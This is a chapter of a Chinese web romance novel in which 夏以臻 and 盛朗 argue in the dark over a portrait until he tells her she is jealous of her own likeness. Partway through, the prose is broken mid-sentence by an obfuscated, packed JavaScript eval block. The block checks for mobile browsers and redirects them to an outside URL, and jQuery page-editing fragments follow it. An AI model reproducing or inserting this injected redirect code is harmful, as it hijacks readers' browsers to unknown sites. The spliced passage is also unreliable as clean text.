26. 夏以臻,你在吃醋。

作品:《屿上盛夏

    “没有。不奇怪。”


    夏以臻脱下冲锋衣,丢到床尾,露出脖颈布满的血痕,又将头发随意晚起在脖颈后。


    摘掉两只刺得她耳垂儿胀痛的星星耳钉时,她垂头笑了一声,很浅。


    盛朗沉沉闷了口气,把头扭开,“你在生气。”


    “怎么会。”


    “因为我?”


    “别闹了盛朗。”


    被戳破心事的心情,就像腊月里被戳穿的窗纸。风呼啸着就刮进来,再想强撑着说不冷,也是如人饮水。但夏以臻不愿低头。


    “你也说了,今晚那种情况,换了任何一个女孩你也都会这么做。我也一样,换了别的男生因我受伤,我也都会让他上我的床上睡。没有因为你特殊。”


    盛朗钉在原地,他贴着创可贴的嘴唇微微翕动,想说什么,又再次被咽下去。


    “你还不走?我要关灯了。”


    夏以臻盯着盛朗冰封一样的眼睛,那里似乎有不易察觉的暗涌,但她觉得很解气。


    虽然这种解气,是建立在比痛快更胜十倍的痛苦上的。


    她的心疼得在滴血,她担心下一秒眼泪会比狠话更快被飙出来。


    如果不是这样,她也不会想这么快结束这场清算,赶盛朗走……夏以臻绝不能允许自己在盛朗面前掉眼泪,让他小看。


    可盛朗还是一动不动。眼神从高处静静望着她,很平静。


    讨厌!


    夏以臻最恨的就是他猜不透的,冰山一样的平静。


    他凭什么总是带着一股看透一切的居高临下?无论你射出多少冷箭,又丢去多少火药,他的眼神总像被神灵祝愿过一般无澜,让人极赋挫败。


    丢盔弃甲,夏以臻蓦地站起,“盛朗,你不走到底想干嘛啊?难道要等着看我脱衣服?”


    “夏以臻。”


    盛朗的声音突然响起,只是冰冷沉怒的三个字,就压过了夏以臻的所有情绪。


    他无疑是生气了,声音全部闷在喉口,用力压抑着怒火,喉结痛苦地咽动后,盛朗才挤出一句:


    “就算生我的气,也不要拿自己的身体发疯。”


    发疯?这就是盛朗今晚为她下的定义?整晚积蓄的恐惧、紧张、悸动与失落,在顷刻间混沌成一团,一齐将夏以臻淹没。


    拥抱是发疯,牵手是发疯,关心是发疯,不开心也是发疯。


    眼泪酸得她眉心疼,在眼眶就要兜不住的时候,还是被她用力吞回去。


    其实这一路,她早就厘清了自己的心绪究竟为何缠作一团…


    她必须坦诚而赤裸地对内心承认,与盛朗的初初相遇,教给她世上真的有件事叫做“一见钟情”。


    相处的时间分明是掰着手指都能数过来的,可她早早便发现了,自己就是喜欢他。她不能自欺欺人。


    也许是从第一眼开始。也许是每一次见到他时先曝露的心跳告诉她的。


    盛朗冰冷下的温柔底色,总是令她怦然。他的声音,他的样子,他干净爽练的一切,她都喜欢。


    浴室里默默修好的花洒,孙静香窗边的蒸梨,煮给她填饱肚子的面,神志不清时盛朗递过来的温水……这些都像淮岛的风,温吞吞撩过被日光晒得干涸的盐滩。


    她享受着这种滋润带给自己的生命力,却无法熟视无睹的从容接受…


    她早已习惯在孤单的时日里,一个人局促而努力地生活。突如其来的温暖与心动,反而令她觉得一切毫不真实。


    她害怕,张皇,无法拥有配得感…一切就像一场旖旎的梦,令她忘情追逐,又害怕梦醒。


    就像今夜,她站在卧室门口打电话时。耳边明明还有盛朗手掌的温度,耳钉还明晃晃的挂在又胀又热的耳垂上,抬眸又能看到他温热的目光……可下一秒他又似乎变得客气,淡淡说句“不打扰”就远离了,视线里蓦地只留下平静的背影。


    她敏感感受着盛朗的每个动作,每个表情,每句话的意思……他似乎总在和她保持着礼貌距离,可又总在出现…再次接近她。


    炽热带来的膨胀,与冰冷传递的克制,在她与盛朗之间一膨一紧地交叠。这种极大的不安全感让夏以臻慌了神。


    这像是一场捕获,而自己就是那个天真的猎物。甚至会自投罗网。


    她今晚的确喝得很醉,但那个迷蒙间的拥抱,并不是酒酣撒疯。


    她向来慢热又胆弱,彼时陷入他的怀抱,只是裹含少女心事的一场赤诚又难耐的渴望,披着酒酣的外衣,才壮了胆色。


    后来他明明也牵了她的手呀,嘴角还弯着好看的弧度……十指交握间,她清楚触到盛朗脉搏处的剧烈跳动。


    她以为一切含蓄到顺水推舟就好。不需要太露骨的剖白,在此之后,他们之间,便可以默契地换一种方式相处。


    可眼前盛朗又如退潮般退回了他的警戒线,并且,他喜欢的另有其人。


    今晚的一切似乎只是一场空欢喜,剩下的只有赤裸裸愧疚,和遍体的伤痕。一切又算什么呢?


    恐怕也只能被算作发疯了。


    眼泪再也收不住,穿成串,掉了下去。


    这次盛朗没有帮她擦眼泪,而是摁下点灯开关,灭了房间唯一的光亮。


    “夏以臻,现在你可以听我说几句话吗。”


    他的声音重新回到往日和她讲话时的温柔。在没人看见的地方,夏以臻的眼泪终于可以收不住地坠落。不用介意哭得难看,也不必担心脆弱的自己败给盛朗,让他小瞧。


    她不愿意自作多情,可盛朗明显去故意让灯熄灭的。


    她沉默不答,但耳朵在听。


    盛朗的言语是轻的,像是在哄,又带着不容反驳的确信。


    “原本我不确定,现在确定了。你是在生气,因为那副画。”


    “才没有。”


    夏以臻下意识否认,两颊却像火燃起来。眼泪在恐惧中戛然而止——她被看透了,看得清清楚楚。


    但那幅画只是压死骆驼的最后一根稻草。真正的原因,源于她还没学会怎么爱自己,上天就把盛朗推到了她面前。


    在喜欢盛朗这件事里,她丢掉了仅剩的一点点安全感,这才是最令夏以难过的。


    因为这让她觉得自己更加卑小,可怜。


    “嗯……”盛朗没有继续拆穿,他站在夏以臻身前,温柔的吐息清楚地散落在耳畔,“那副画上的女孩,的确是我喜欢的人,可她认不出我了。”


    “挺令人伤心的。”


    黑暗里,夏以臻似乎听到一声柔和的叹气。不过,叹息里没有太多伤心、无奈,相反,是一种类似幸福的抱怨。


    “她明明说过自己的记性差不到那种程度,小骗子。”


    “跟我说这个干什么。”夏以臻觉得刺耳,“那是你自己的事,我不想知道。”


    “好。”月光模糊了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361917|152564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一切的轮廓,看得出,盛朗的头点了点,“那我们先解决你的问题。”


    “我没问题。”


    “你有。”


    “什么问题!”


    盛朗的声音轻得几不可查,“你在吃醋。”


    “我吃醋?我……没有!”夏以臻慌不择路,急于否认,又百口莫辩。


    盛朗高大的轮廓在月光里笼罩着她的身体。在夏以臻的辩解面前,他依旧是平静的。


    空气里只听的到夏以臻自己气败后的喘息声。等一切慢慢消火,盛朗才再次开口。


    “你听我说一会儿,好吗。”


    夏以臻默许。她现在也确实无言以对,再怎么狡辩,她也没法让真实存在的事情,变得不存在。


    “夏以臻,我其实很讨厌‘吃醋’这个词。无论是喜欢一个人,还是被别人喜欢,都应该感到安全,不该是惶惶不可终日的。可现在我们之间,就是惶惑的。”


    “我大概猜了猜你的想法。你…是在怪我。”


    “你怪我似乎对你很照顾,让你无端误会,一边享受着和你暧昧不明,一边又想着另一个女孩儿,瞻前顾后。”


    “猜对了吗?”


    夏以臻依旧沉默。盛朗继续着。


    “原本我在担心,担心为什么你突然开始讨厌我。我想是不是我哪里做得不好,让你有了不好的感受,我贪求你总该给我机会改。但我好像在感情里很愚钝,我猜不透。”


    “直到你跟我说,把那副画放在我枕边,让我看着‘她’睡觉……”盛朗如释重负地垂下头,似乎在笑,“那一刻我终于懂了。”


    “懂了就不担心了。甚至,有种从来没有过的幸福。不是因为你在为我吃醋…而是因为,我在感情里最怕的是一厢情愿。是为难别人。”


    “可一旦我确定我的喜欢拥有了通行证,所有困难对我而言,就不存在了。”


    “夏以臻,像我这种在孤独里长大的人,比起暧昧不明带来的刺激,拼尽一切去拥有珍惜的宝贝,享受更长久的安稳,才是想要的。”


    “你也一样,不是吗?”


    软肋被戳中,泪水瞬间掉了下来。夏以臻在黑暗里,还是点了点头。她不知道盛朗能不能看得见,但他说的对。


    像他们这样在缝缝补补的童年里长大的孩子,只想要一件自己真正喜欢的,能穿得足够久的好衣裳。


    心动带来的慌乱让原本的拮据变得更加捉襟见肘,如果不能感到温暖与安全,那不如从一开始,就不拥有。


    “所以,是我的错。我该让一切更明确一些。”盛朗说。


    他被月光和眼泪模糊过的轮廓,在夏以臻的视线里,渐渐变大。


    直到夏以臻的视线被他的身影全然覆盖的时候,后背传来了盛朗手心的炽热。


    他将她的身体轻轻推向自己,继而紧紧抱住了她。


    夏以臻的心停住了。她不敢相信此时身体的滚烫,来源于盛朗的胸膛。


    颈边是他埋下来的脸,潮热的吐息混着盛朗特有的清爽在耳边迅速蔓延,有点痒,却温柔地让人沉沦。


    身体被盛朗的双臂紧箍,有一点痛,但夏以臻不介意。


    这一刻,两个孤单的灵魂之间似乎没有缝隙而言,可盛朗好像觉得还不够,他将手腕上的伤抛之脑后,再次用力,将他的心上人狠狠陷入自己的身体。


    “你在吃你自己画像的醋,夏以臻。”